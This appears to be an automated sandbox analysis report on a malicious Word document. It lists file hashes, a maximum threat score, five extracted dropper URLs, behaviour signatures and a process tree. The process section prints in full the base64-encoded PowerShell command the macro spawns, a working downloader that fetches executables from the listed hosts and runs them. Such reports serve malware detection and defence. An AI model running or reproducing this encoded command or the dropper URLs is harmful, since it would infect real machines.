Analysis

  • max time kernel
    141s
  • max time network
    158s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    22-05-2022 05:26

General

  • Target

    gozljfti.doc

  • Size

    170KB

  • MD5

    93c9b98aaab635cfe1fcaf77a6c93467

  • SHA1

    e974ec2b417e889ed9a5e26cce5731367233ac9b

  • SHA256

    bbccb28da0c926e3bf941fd5d29105048c7e5e2a63ce7fe99bebba6bcd3a204a

  • SHA512

    7c36431b34946379272d871a03bd869eb9c9f7d7ba194f2eadcb4bd5e4fd50e276d39badfd0d53160854a1ce27d01dbb50c615e71ef7bddf96cdb9e3904e8150

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://cgemtalent.com/open-call/j4x9_rezdf_4/

exe.dropper

https://www.spiidgas.com.br/site2/br_o_0f7t/

exe.dropper

http://atelierbrasilia.com/site/ja_xek8_7k/

exe.dropper

http://ative.nl/Ermelo/sk0vy_nln3_j8thtzh3ia/

exe.dropper

http://www.cistilniservis-t530.com/cgi-bin/kif_srz5e_dxo7rqa5k/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\gozljfti.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:2444
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABKAFoAWgBMAEcAYQBuAG4APQAnAFgARwBHAEEAWAB0AGYAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBgAFUAUgBpAGAAVABZAFAAcgBgAE8AVABvAGMAbwBsACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgBLAEgATgBYAGQAcgBlACAAPQAgACcAOAAyACcAOwAkAE8AVABLAFYASAB3AHIAcwA9ACcASgBKAFMATgBXAG0AaABtACcAOwAkAFkARABCAFIASgBpAGQAZwA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQARgBLAEgATgBYAGQAcgBlACsAJwAuAGUAeABlACcAOwAkAE4AWABBAEQAVwBxAGcAYQA9ACcARQBOAE8ASABXAGIAbABxACcAOwAkAEwASABHAE8ARgBxAHoAZgA9AC4AKAAnAG4AZQB3AC0AJwArACcAbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBlAFQALgB3AEUAYgBjAGwASQBFAE4AdAA7ACQARgBEAFQAWgBOAGcAeABkAD0AJwBoAHQAdABwADoALwAvAGMAZwBlAG0AdABhAGwAZQBuAHQALgBjAG8AbQAvAG8AcABlAG4ALQBjAGEAbABsAC8AagA0AHgAOQBfAHIAZQB6AGQAZgBfADQALwAqAGgAdAB0AHAAcwA6AC8ALwB3AHcAdwAuAHMAcABpAGkAZABnAGEAcwAuAGMAbwBtAC4AYgByAC8AcwBpAHQAZQAyAC8AYgByAF8AbwBfADAAZgA3AHQALwAqAGgAdAB0AHAAOgAvAC8AYQB0AGUAbABpAGUAcgBiAHIAYQBzAGkAbABpAGEALgBjAG8AbQAvAHMAaQB0AGUALwBqAGEAXwB4AGUAawA4AF8ANwBrAC8AKgBoAHQAdABwADoALwAvAGEAdABpAHYAZQAuAG4AbAAvAEUAcgBtAGUAbABvAC8AcwBrADAAdgB5AF8AbgBsAG4AMwBfAGoAOAB0AGgAdAB6AGgAMwBpAGEALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBjAGkAcwB0AGkAbABuAGkAcwBlAHIAdgBpAHMALQB0ADUAMwAwAC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AawBpAGYAXwBzAHIAegA1AGUAXwBkAHgAbwA3AHIAcQBhADUAawAvACcALgAiAHMAYABQAEwAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAWQBEAFIAUABQAGgAbwBkAD0AJwBGAFMASgBPAFAAZwB1AG8AJwA7AGYAbwByAGUAYQBjAGgAKAAkAFcASABWAEYAQgBmAHEAbQAgAGkAbgAgACQARgBEAFQAWgBOAGcAeABkACkAewB0AHIAeQB7ACQATABIAEcATwBGAHEAegBmAC4AIgBkAE8AYABXAGAATgBMAG8AYQBEAGYASQBsAEUAIgAoACQAVwBIAFYARgBCAGYAcQBtACwAIAAkAFkARABCAFIASgBpAGQAZwApADsAJABGAEsAWABVAFAAZwBzAG0APQAnAEwAQgBNAFIAQgBnAG4AagAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0AJwArACcASQB0AGUAbQAnACkAIAAkAFkARABCAFIASgBpAGQAZwApAC4AIgBsAGAARQBuAEcAdABIACIAIAAtAGcAZQAgADIANgA5ADcAMgApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwBgAFIAZQBhAHQARQAiACgAJABZAEQAQgBSAEoAaQBkAGcAKQA7ACQAWABIAFMAUABTAGcAYQBoAD0AJwBRAFgASABOAEkAdwBnAGYAJwA7AGIAcgBlAGEAawA7ACQARQBPAEwAWABDAGMAYwBjAD0AJwBPAFIAQwBBAEcAeABhAHEAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATQBVAEUATgBPAHkAeAB2AD0AJwBEAE8ARQBVAFYAYgBsAGYAJwA=
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:720

Network

MITRE ATT&CK Matrix ATT&CK v6

Discovery

Query Registry

2
T1012

System Information Discovery

2
T1082

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/720-138-0x0000022147A70000-0x0000022147A92000-memory.dmp
    Filesize

    136KB

  • memory/720-139-0x00007FFAADB70000-0x00007FFAAE631000-memory.dmp
    Filesize

    10.8MB

  • memory/2444-133-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp
    Filesize

    64KB

  • memory/2444-130-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp
    Filesize

    64KB

  • memory/2444-134-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp
    Filesize

    64KB

  • memory/2444-135-0x00007FFA97440000-0x00007FFA97450000-memory.dmp
    Filesize

    64KB

  • memory/2444-136-0x00007FFA97440000-0x00007FFA97450000-memory.dmp
    Filesize

    64KB

  • memory/2444-137-0x00000208A5AA0000-0x00000208A5AA4000-memory.dmp
    Filesize

    16KB

  • memory/2444-132-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp
    Filesize

    64KB

  • memory/2444-131-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp
    Filesize

    64KB

  • memory/2444-141-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp
    Filesize

    64KB

  • memory/2444-142-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp
    Filesize

    64KB

  • memory/2444-143-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp
    Filesize

    64KB

  • memory/2444-144-0x00007FFA994D0000-0x00007FFA994E0000-memory.dmp
    Filesize

    64KB